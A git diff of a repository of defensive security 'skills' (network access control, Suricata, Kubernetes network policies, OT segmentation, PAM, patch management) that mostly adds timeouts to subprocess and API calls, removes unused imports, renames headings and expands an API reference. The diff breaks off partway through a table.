b/skills/implementing-mobile-application-management/scripts/agent.py @@ -18,7 +18,7 @@ def mdm_api_request(base_url, token, endpoint, method="GET"): "-H", f"Authorization: Bearer {token}", "-H", "Accept: application/json", f"{base_url}{endpoint}"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.stdout else {} diff --git a/skills/implementing-nerc-cip-compliance-controls/scripts/agent.py b/skills/implementing-nerc-cip-compliance-controls/scripts/agent.py index a95a22ae..b5ccd69c 100644 --- a/skills/implementing-nerc-cip-compliance-controls/scripts/agent.py +++ b/skills/implementing-nerc-cip-compliance-controls/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import logging import subprocess from datetime import datetime -from collections import defaultdict logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) @@ -56,7 +55,7 @@ def check_esp_controls(target_ip=None): findings = [] if target_ip: cmd = ["nmap", "-sS", "-p", "1-1024", "--open", target_ip, "-oX", "-"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) open_ports = result.stdout.count("state=\"open\"") if open_ports > 10: findings.append({"control": "CIP-005", "issue": f"{open_ports} open ports on ESP boundary", @@ -68,13 +67,13 @@ def check_system_hardening(): """Check CIP-007 system hardening controls.""" findings = [] svc_cmd = ["systemctl", "list-units", "--type=service", "--state=running", "--no-pager"] - result = subprocess.run(svc_cmd, capture_output=True, text=True) + result = subprocess.run(svc_cmd, capture_output=True, text=True, timeout=120) service_count = len([l for l in result.stdout.split("\n") if ".service" in l]) if service_count > 50: findings.append({"control": "CIP-007-R1", "issue": f"{service_count} running services (minimize unused)", "severity": "medium"}) - patch_cmd = ["apt", "list", "--upgradable"] if subprocess.run(["which", "apt"], capture_output=True).returncode == 0 else ["yum", "check-update"] - result = subprocess.run(patch_cmd, capture_output=True, text=True) + patch_cmd = ["apt", "list", "--upgradable"] if subprocess.run(["which", "apt"], capture_output=True, timeout=120).returncode == 0 else ["yum", "check-update"] + result = subprocess.run(patch_cmd, capture_output=True, text=True, timeout=120) pending = len([l for l in result.stdout.split("\n") if l.strip() and not l.startswith("Listing")]) if pending > 0: findings.append({"control": "CIP-007-R2", "issue": f"{pending} pending security patches", diff --git a/skills/implementing-network-access-control-with-cisco-ise/SKILL.md b/skills/implementing-network-access-control-with-cisco-ise/SKILL.md index f6d91f16..0946f0f0 100644 --- a/skills/implementing-network-access-control-with-cisco-ise/SKILL.md +++ b/skills/implementing-network-access-control-with-cisco-ise/SKILL.md @@ -58,7 +58,7 @@ The 802.1X framework involves three components: | EAP-FAST | Cisco proprietary, fast reauthentication | Medium | | MAB | Non-802.1X devices (printers, IP phones) | Low | -## Implementation Steps +## Workflow ### Step 1: Configure ISE for Active Directory Integration diff --git a/skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py b/skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py index 6dd8d58c..46d084a3 100644 --- a/skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py +++ b/skills/implementing-network-access-control-with-cisco-ise/scripts/agent.py @@ -17,7 +17,7 @@ def ise_request(base_url, username, password, endpoint): cmd = ["curl", "-s", "-k", "-u", f"{username}:{password}", "-H", "Accept: application/json", f"{base_url}/ers/config{endpoint}"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.stdout else {} @@ -38,7 +38,7 @@ def get_active_sessions(base_url, user, pw): cmd = ["curl", "-s", "-k", "-u", f"{user}:{pw}", "-H", "Accept: application/json", f"{base_url}/admin/API/mnt/Session/ActiveList"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.stdout else {} diff --git a/skills/implementing-network-access-control/scripts/agent.py b/skills/implementing-network-access-control/scripts/agent.py index b5c3b056..d955f30e 100644 --- a/skills/implementing-network-access-control/scripts/agent.py +++ b/skills/implementing-network-access-control/scripts/agent.py @@ -4,8 +4,6 @@ import json import sys import argparse -import socket -import struct from datetime import datetime from collections import Counter @@ -18,8 +16,7 @@ except ImportError: sys.exit(1) try: - from pysnmp.hlapi import (getCmd, nextCmd, SnmpEngine, CommunityData, - UdpTransportTarget, ContextData, ObjectType, ObjectIdentity) + from pysnmp.hlapi import nextCmd, SnmpEngine, CommunityData, UdpTransportTarget, ContextData, ObjectType, ObjectIdentity HAS_SNMP = True except ImportError: HAS_SNMP = False diff --git a/skills/implementing-network-deception-with-honeypots/scripts/agent.py b/skills/implementing-network-deception-with-honeypots/scripts/agent.py index 00c827fe..4a42052a 100644 --- a/skills/implementing-network-deception-with-honeypots/scripts/agent.py +++ b/skills/implementing-network-deception-with-honeypots/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import logging import subprocess import os -import re from collections import defaultdict from datetime import datetime @@ -80,7 +79,7 @@ def deploy_opencanary(config, config_path="/etc/opencanaryd/opencanary.conf"): json.dump(config, f, indent=2) logger.info("Configuration written to %s", config_path) start_cmd = ["opencanaryd", "--start"] - result = subprocess.run(start_cmd, capture_output=True, text=True) + result = subprocess.run(start_cmd, capture_output=True, text=True, timeout=120) return {"config_path": config_path, "started": result.returncode == 0, "output": result.stdout[:200]} @@ -159,7 +158,7 @@ def analyze_interactions(events): def check_honeypot_status(): """Check if OpenCanary daemon is running.""" cmd = ["opencanaryd", "--status"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) is_running = "running" in result.stdout.lower() or result.returncode == 0 return {"running": is_running, "status_output": result.stdout.strip()[:200]} diff --git a/skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md b/skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md index 409c53ea..624fa401 100644 --- a/skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md +++ b/skills/implementing-network-intrusion-prevention-with-suricata/SKILL.md @@ -54,7 +54,7 @@ action protocol src_ip src_port -> dst_ip dst_port (rule_options;) - **Suricata Traffic ID** - Application identification rules - **Custom Rules** - Organization-specific detections -## Implementation Steps +## Workflow ### Step 1: Install Suricata diff --git a/skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py b/skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py index bb2cf85a..f3798ba7 100644 --- a/skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py +++ b/skills/implementing-network-intrusion-prevention-with-suricata/scripts/agent.py @@ -4,16 +4,16 @@ import json import argparse import logging +import os import subprocess -import re from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") logger = logging.getLogger(__name__) -EVE_LOG = "/var/log/suricata/eve.json" -RULES_DIR = "/etc/suricata/rules" +EVE_LOG = os.environ.get("SURICATA_EVE_LOG", "/var/log/suricata/eve.json") +RULES_DIR = os.environ.get("SURICATA_RULES_DIR", "/etc/suricata/rules") def parse_eve_alerts(log_path, limit=10000): @@ -104,9 +104,9 @@ def detect_attack_patterns(alerts): def check_suricata_status(): """Check Suricata service status and configuration.""" - status_cmd = subprocess.run(["systemctl", "is-active", "suricata"], capture_output=True, text=True) - rule_count_cmd = subprocess.run(["suricata", "--build-info"], capture_output=True, text=True) - stats_cmd = subprocess.run(["suricatasc", "-c", "dump-counters"], capture_output=True, text=True) + status_cmd = subprocess.run(["systemctl", "is-active", "suricata"], capture_output=True, text=True, timeout=120) + rule_count_cmd = subprocess.run(["suricata", "--build-info"], capture_output=True, text=True, timeout=120) + stats_cmd = subprocess.run(["suricatasc", "-c", "dump-counters"], capture_output=True, text=True, timeout=120) return { "service_active": status_cmd.stdout.strip() == "active", "build_info": rule_count_cmd.stdout[:200] if rule_count_cmd.returncode == 0 else "unavailable", diff --git a/skills/implementing-network-policies-for-kubernetes/SKILL.md b/skills/implementing-network-policies-for-kubernetes/SKILL.md index ad483dc4..22bb58d4 100644 --- a/skills/implementing-network-policies-for-kubernetes/SKILL.md +++ b/skills/implementing-network-policies-for-kubernetes/SKILL.md @@ -20,7 +20,7 @@ Kubernetes NetworkPolicies provide pod-level network segmentation by defining in - kubectl configured with admin access - Understanding of pod labels and selectors -## Implementation Steps +## Workflow ### Step 1: Default Deny All Traffic diff --git a/skills/implementing-network-policies-for-kubernetes/scripts/agent.py b/skills/implementing-network-policies-for-kubernetes/scripts/agent.py index fc5c0972..43c5218f 100644 --- a/skills/implementing-network-policies-for-kubernetes/scripts/agent.py +++ b/skills/implementing-network-policies-for-kubernetes/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import logging import subprocess -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") @@ -15,7 +14,7 @@ logger = logging.getLogger(__name__) def kubectl_json(args_list): """Execute kubectl command and return JSON output.""" cmd = ["kubectl"] + args_list + ["-o", "json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.returncode == 0 else {} diff --git a/skills/implementing-network-segmentation-for-ot/scripts/agent.py b/skills/implementing-network-segmentation-for-ot/scripts/agent.py index c92e6374..2f54b5a9 100644 --- a/skills/implementing-network-segmentation-for-ot/scripts/agent.py +++ b/skills/implementing-network-segmentation-for-ot/scripts/agent.py @@ -5,7 +5,6 @@ import json import argparse import logging import subprocess -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") @@ -25,7 +24,7 @@ PURDUE_ZONES = { def scan_zone_hosts(subnet): """Discover hosts in an OT zone via nmap ping scan.""" cmd = ["nmap", "-sn", subnet, "-oX", "-"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) hosts = [] import re for match in re.finditer(r'addr="(\d+\.\d+\.\d+\.\d+)"', result.stdout): @@ -68,7 +67,7 @@ def check_ot_protocol_exposure(target_subnet): "20000": "DNP3", "4840": "OPC-UA", "2222": "EtherNet/IP-explicit"} port_list = ",".join(ot_ports.keys()) cmd = ["nmap", "-sS", "-p", port_list, target_subnet, "--open", "-oX", "-"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) exposed = [] import re current_host = "" diff --git a/skills/implementing-network-segmentation-with-firewall-zones/SKILL.md b/skills/implementing-network-segmentation-with-firewall-zones/SKILL.md index e9d0439e..1135125a 100644 --- a/skills/implementing-network-segmentation-with-firewall-zones/SKILL.md +++ b/skills/implementing-network-segmentation-with-firewall-zones/SKILL.md @@ -48,7 +48,7 @@ Network segmentation divides a flat network into isolated security zones with fi | **Microsegmentation** | Layer 3-7 | Workload-level | Zero trust, container environments | | **SGT/TrustSec** | Layer 2-7 | Tag-based | Identity-based segmentation | -## Implementation Steps +## Workflow ### Step 1: Map Traffic Flows and Define Zones diff --git a/skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py b/skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py index 06b2e532..f628b1d0 100644 --- a/skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py +++ b/skills/implementing-network-segmentation-with-firewall-zones/scripts/agent.py @@ -19,7 +19,7 @@ def parse_firewall_config(config_file): def get_iptables_zones(): cmd = ["iptables", "-L", "-n", "-v", "--line-numbers"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) chains = defaultdict(list) current_chain = "" for line in result.stdout.split("\n"): diff --git a/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md b/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md index 60335da2..4bea0b15 100644 --- a/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md +++ b/skills/implementing-network-traffic-analysis-with-arkime/SKILL.md @@ -14,6 +14,9 @@ author: mahipal license: Apache-2.0 --- + +# Implementing Network Traffic Analysis with Arkime + ## Instructions 1. Install dependencies: `pip install requests` diff --git a/skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py b/skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py index f3b55265..e8c4d755 100644 --- a/skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py +++ b/skills/implementing-network-traffic-analysis-with-arkime/scripts/agent.py @@ -3,6 +3,7 @@ import json import logging +import os import argparse from datetime import datetime from collections import defaultdict @@ -18,7 +19,7 @@ def arkime_request(base_url, endpoint, auth, params=None): """Make an authenticated request to Arkime API v3.""" url = f"{base_url}{endpoint}" try: - resp = requests.get(url, auth=HTTPDigestAuth(*auth), params=params, verify=False, timeout=30) + resp = requests.get(url, auth=HTTPDigestAuth(*auth), params=params, verify=not os.environ.get("SKIP_TLS_VERIFY", "").lower() == "true", timeout=30) # Set SKIP_TLS_VERIFY=true for self-signed certs in lab environments resp.raise_for_status() return resp.json() except requests.RequestException as e: diff --git a/skills/implementing-network-traffic-baselining/scripts/agent.py b/skills/implementing-network-traffic-baselining/scripts/agent.py index beb1450c..e275f2bd 100644 --- a/skills/implementing-network-traffic-baselining/scripts/agent.py +++ b/skills/implementing-network-traffic-baselining/scripts/agent.py @@ -2,13 +2,10 @@ """Network traffic baselining agent using pandas for NetFlow/IPFIX statistical analysis.""" import json -import math import argparse from datetime import datetime -from collections import defaultdict import pandas as pd -import numpy as np def load_netflow_csv(filepath): diff --git a/skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md b/skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md index c107363f..1cadfc76 100644 --- a/skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md +++ b/skills/implementing-next-generation-firewall-with-palo-alto/SKILL.md @@ -59,7 +59,7 @@ Zones represent logical segments of the network. Security policies control traff | Guest | Guest wireless | Low | | DataCenter | Server infrastructure | High | -## Implementation Steps +## Workflow ### Step 1: Initial System Configuration diff --git a/skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py b/skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py index 69c2ded1..8167f026 100644 --- a/skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py +++ b/skills/implementing-next-generation-firewall-with-palo-alto/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import logging import subprocess import xml.etree.ElementTree as ET -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") @@ -15,7 +14,7 @@ logger = logging.getLogger(__name__) def pan_api_request(firewall_ip, api_key, cmd_type, cmd): url = f"https://{firewall_ip}/api/?type={cmd_type}&cmd={cmd}&key={api_key}" - result = subprocess.run(["curl", "-s", "-k", url], capture_output=True, text=True) + result = subprocess.run(["curl", "-s", "-k", url], capture_output=True, text=True, timeout=120) return result.stdout diff --git a/skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py b/skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py index be8156d8..4d615f62 100644 --- a/skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py +++ b/skills/implementing-opa-gatekeeper-for-policy-enforcement/scripts/agent.py @@ -14,7 +14,7 @@ logger = logging.getLogger(__name__) def kubectl_json(args_list): cmd = ["kubectl"] + args_list + ["-o", "json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.returncode == 0 else {} @@ -61,7 +61,7 @@ def analyze_policy_coverage(constraints): def check_audit_status(): cmd = ["kubectl", "get", "pods", "-n", "gatekeeper-system", "-o", "json"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) pods = json.loads(result.stdout) if result.returncode == 0 else {} pod_status = [] for pod in pods.get("items", []): diff --git a/skills/implementing-osquery-for-endpoint-monitoring.bak/LICENSE b/skills/implementing-osquery-for-endpoint-monitoring.bak/LICENSE new file mode 100644 index 00000000..d8851182 --- /dev/null +++ b/skills/implementing-osquery-for-endpoint-monitoring.bak/LICENSE @@ -0,0 +1,201 @@ + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to the Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by the Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. Grant of Patent License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + (except as stated in this section) patent license to make, have made, + use, offer to sell, sell, import, and otherwise transfer the Work, + where such license applies only to those patent claims licensable + by such Contributor that are necessarily infringed by their + Contribution(s) alone or by combination of their Contribution(s) + with the Work to which such Contribution(s) was submitted. If You + institute patent litigation against any entity (including a + cross-claim or counterclaim in a lawsuit) alleging that the Work + or a Contribution incorporated within the Work constitutes direct + or contributory patent infringement, then any patent licenses + granted to You under this License for that Work shall terminate + as of the date such litigation is filed. + + 4. Redistribution. You may reproduce and distribute copies of the + Work or Derivative Works thereof in any medium, with or without + modifications, and in Source or Object form, provided that You + meet the following conditions: + + (a) You must give any other recipients of the Work or + Derivative Works a copy of this License; and + + (b) You must cause any modified files to carry prominent notices + stating that You changed the files; and + + (c) You must retain, in the Source form of any Derivative Works + that You distribute, all copyright, patent, trademark, and + attribution notices from the Source form of the Work, + excluding those notices that do not pertain to any part of + the Derivative Works; and + + (d) If the Work includes a "NOTICE" text file as part of its + distribution, then any Derivative Works that You distribute must + include a readable copy of the attribution notices contained + within such NOTICE file, excluding any notices that do not + pertain to any part of the Derivative Works, in at least one + of the following places: within a NOTICE text file distributed + as part of the Derivative Works; within the Source form or + documentation, if provided along with the Derivative Works; or, + within a display generated by the Derivative Works, if and + wherever such third-party notices normally appear. The contents + of the NOTICE file are for informational purposes only and + do not modify the License. You may add Your own attribution + notices within Derivative Works that You distribute, alongside + or as an addendum to the NOTICE text from the Work, provided + that such additional attribution notices cannot be construed + as modifying the License. + + You may add Your own copyright statement to Your modifications and + may provide additional or different license terms and conditions + for use, reproduction, or distribution of Your modifications, or + for any such Derivative Works as a whole, provided Your use, + reproduction, and distribution of the Work otherwise complies with + the conditions stated in this License. + + 5. Submission of Contributions. Unless You explicitly state otherwise, + any Contribution intentionally submitted for inclusion in the Work + by You to the Licensor shall be under the terms and conditions of + this License, without any additional terms or conditions. + Notwithstanding the above, nothing herein shall supersede or modify + the terms of any separate license agreement you may have executed + with Licensor regarding such Contributions. + + 6. Trademarks. This License does not grant permission to use the trade + names, trademarks, service marks, or product names of the Licensor, + except as required for reasonable and customary use in describing the + origin of the Work and reproducing the content of the NOTICE file. + + 7. Disclaimer of Warranty. Unless required by applicable law or + agreed to in writing, Licensor provides the Work (and each + Contributor provides its Contributions) on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or + implied, including, without limitation, any warranties or conditions + of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A + PARTICULAR PURPOSE. You are solely responsible for determining the + appropriateness of using or redistributing the Work and assume any + risks associated with Your exercise of permissions under this License. + + 8. Limitation of Liability. In no event and under no legal theory, + whether in tort (including negligence), contract, or otherwise, + unless required by applicable law (such as deliberate and grossly + negligent acts) or agreed to in writing, shall any Contributor be + liable to You for damages, including any direct, indirect, special, + incidental, or consequential damages of any character arising as a + result of this License or out of the use or inability to use the + Work (including but not limited to damages for loss of goodwill, + work stoppage, computer failure or malfunction, or any and all + other commercial damages or losses), even if such Contributor + has been advised of the possibility of such damages. + + 9. Accepting Warranty or Additional Liability. While redistributing + the Work or Derivative Works thereof, You may choose to offer, + and charge a fee for, acceptance of support, warranty, indemnity, + or other liability obligations and/or rights consistent with this + License. However, in accepting such obligations, You may act only + on Your own behalf and on Your sole responsibility, not on behalf + of any other Contributor, and only if You agree to indemnify, + defend, and hold each Contributor harmless for any liability + incurred by, or claims asserted against, such Contributor by reason + of your accepting any such warranty or additional liability. + + END OF TERMS AND CONDITIONS + + APPENDIX: How to apply the Apache License to your work. + + To apply the Apache License to your work, attach the following + boilerplate notice, with the fields enclosed by brackets "[]" + replaced with your own identifying information. (Don't include + the brackets!) The text should be enclosed in the appropriate + comment syntax for the file format. Please do not remove or change + the license header comment from a contributed file except when + necessary. + + Copyright 2026 mukul975 + + Licensed under the Apache License, Version 2.0 (the "License"); + you may not use this file except in compliance with the License. + You may obtain a copy of the License at + + http://www.apache.org/licenses/LICENSE-2.0 + + Unless required by applicable law or agreed to in writing, software + distributed under the License is distributed on an "AS IS" BASIS, + WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + See the License for the specific language governing permissions and + limitations under the License. diff --git a/skills/implementing-osquery-for-endpoint-monitoring/SKILL.md b/skills/implementing-osquery-for-endpoint-monitoring.bak/SKILL.md similarity index 100% rename from skills/implementing-osquery-for-endpoint-monitoring/SKILL.md rename to skills/implementing-osquery-for-endpoint-monitoring.bak/SKILL.md diff --git a/skills/implementing-osquery-for-endpoint-monitoring/references/api-reference.md b/skills/implementing-osquery-for-endpoint-monitoring.bak/references/api-reference.md similarity index 100% rename from skills/implementing-osquery-for-endpoint-monitoring/references/api-reference.md rename to skills/implementing-osquery-for-endpoint-monitoring.bak/references/api-reference.md diff --git a/skills/implementing-osquery-for-endpoint-monitoring/scripts/agent.py b/skills/implementing-osquery-for-endpoint-monitoring.bak/scripts/agent.py similarity index 100% rename from skills/implementing-osquery-for-endpoint-monitoring/scripts/agent.py rename to skills/implementing-osquery-for-endpoint-monitoring.bak/scripts/agent.py diff --git a/skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py b/skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py index dd94e82c..b9b76c6b 100644 --- a/skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py +++ b/skills/implementing-ot-network-traffic-analysis-with-nozomi/scripts/agent.py @@ -14,7 +14,7 @@ logger = logging.getLogger(__name__) def nozomi_api(base_url, token, endpoint): cmd = ["curl", "-s", "-k", "-H", f"Authorization: Bearer {token}", f"{base_url}/api/v1{endpoint}"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.stdout else {} diff --git a/skills/implementing-pam-for-database-access/scripts/agent.py b/skills/implementing-pam-for-database-access/scripts/agent.py index 8abb7c6a..5649b924 100644 --- a/skills/implementing-pam-for-database-access/scripts/agent.py +++ b/skills/implementing-pam-for-database-access/scripts/agent.py @@ -6,7 +6,6 @@ import argparse import logging import subprocess import os -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") @@ -24,7 +23,7 @@ def query_db_users(db_type, host, admin_user, admin_password): else: cmd = ["sqlcmd", "-S", host, "-U", admin_user, "-P", admin_password, "-Q", "SELECT name, type_desc, is_disabled FROM sys.server_principals WHERE type IN ('S','U');"] - result = subprocess.run(cmd, capture_output=True, text=True, env=env) + result = subprocess.run(cmd, capture_output=True, text=True, env=env, timeout=120) return [{"raw": line.strip()} for line in result.stdout.strip().split("\n") if line.strip()] @@ -44,7 +43,7 @@ def audit_session_logging(db_type, host, admin_user, admin_password): env = {**os.environ, "PGPASSWORD": admin_password} if db_type == "postgresql": cmd = ["psql", "-h", host, "-U", admin_user, "-c", "SHOW log_connections;", "--no-align", "-t"] - result = subprocess.run(cmd, capture_output=True, text=True, env=env) + result = subprocess.run(cmd, capture_output=True, text=True, env=env, timeout=120) if "off" in result.stdout.lower(): findings.append({"issue": "log_connections disabled", "severity": "high"}) return findings diff --git a/skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py b/skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py index 4487b614..d3580dae 100644 --- a/skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py +++ b/skills/implementing-passwordless-auth-with-microsoft-entra/scripts/agent.py @@ -34,7 +34,7 @@ def graph_get(token, endpoint, beta=False): """Make authenticated GET request to Microsoft Graph.""" base = GRAPH_BETA if beta else GRAPH_URL headers = {"Authorization": f"Bearer {token}", "Content-Type": "application/json"} - resp = requests.get(f"{base}{endpoint}", headers=headers) + resp = requests.get(f"{base}{endpoint}", headers=headers, timeout=30) resp.raise_for_status() return resp.json() diff --git a/skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py b/skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py index 4193329e..279a32e0 100644 --- a/skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py +++ b/skills/implementing-passwordless-authentication-with-fido2/scripts/agent.py @@ -14,7 +14,7 @@ logger = logging.getLogger(__name__) def graph_api(token, endpoint): cmd = ["curl", "-s", "-H", f"Authorization: Bearer {token}", f"https://graph.microsoft.com/v1.0{endpoint}"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) return json.loads(result.stdout) if result.stdout else {} @@ -50,7 +50,7 @@ def analyze_adoption(registrations): def check_rp_config(rp_url): cmd = ["curl", "-s", f"{rp_url}/.well-known/webauthn"] - result = subprocess.run(cmd, capture_output=True, text=True) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=120) findings = [] try: config = json.loads(result.stdout) diff --git a/skills/implementing-patch-management-for-ot-systems/scripts/agent.py b/skills/implementing-patch-management-for-ot-systems/scripts/agent.py index 7f8603e5..67ab4f1b 100644 --- a/skills/implementing-patch-management-for-ot-systems/scripts/agent.py +++ b/skills/implementing-patch-management-for-ot-systems/scripts/agent.py @@ -4,7 +4,6 @@ import json import argparse import logging -from collections import defaultdict from datetime import datetime logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s") diff --git a/skills/implementing-patch-management-workflow/SKILL.md b/skills/implementing-patch-management-workflow/SKILL.md index a2ddaf01..4c0a896d 100644 --- a/skills/implementing-patch-management-workflow/SKILL.md +++ b/skills/implementing-patch-management-workflow/SKILL.md @@ -49,7 +49,7 @@ Patch management is the systematic process of identifying, testing, deploying, a | Ring 3 | General Deployment | 50% | 7-14 days | Main rollout | | Ring 4 | Mission Critical | 30% | After Ring 3 | Final deployment | -## Implementation Steps +## Workflow ### Step 1: Configure Patch Sources diff --git a/skills/implementing-patch-management-workflow/references/api-reference.md b/skills/implementing-patch-management-workflow/references/api-reference.md index e1a3a53c..0ed49c3a 100644 --- a/skills/implementing-patch-management-workflow/references/api-reference.md +++ b/skills/implementing-patch-management-workflow/references/api-reference.md @@ -1,27 +1,161 @@ -# API Reference: Patch management workflow automation +# API Reference: Patch Management Workflow Automation -## API Endpoints -Tenable: GET /scans, Qualys: GET /api/2.0/fo/scan/, WSUS PowerShell, patch compliance tracking +## Libraries Used + +| Library | Purpose | +|---------|---------| +| `requests` | HTTP client for Tenable.io, Qualys, and WSUS APIs | +| `json` | Parse scan and patch compliance data | +| `csv` | Export remediation plans to CSV | +| `subprocess` | Execute PowerShell WSUS commands | +| `os` | Read API credentials from environment | ## Installation + ```bash pip install requests ``` -## Libraries +## Tenable.io API -| Library | Use | -|---------|-----| -| `requests` | requests SDK/client | +### Authentication +```python +import requests +import os -## Authentication +TENABLE_URL = "https://cloud.tenable.com" +tenable_headers = { + "X-ApiKeys": f"accessKey={os.environ['TENABLE_ACCESS_KEY']};secretKey={os.environ['TENABLE_SECRET_KEY']}", + "Content-Type": "application/json", +} +``` -| Method | Header | -|--------|--------| -| Bearer Token | `Authorization: Bearer ` | -| API Key | `X-API-Key: ` | +### Key Endpoints + +| Method | Endpoint | 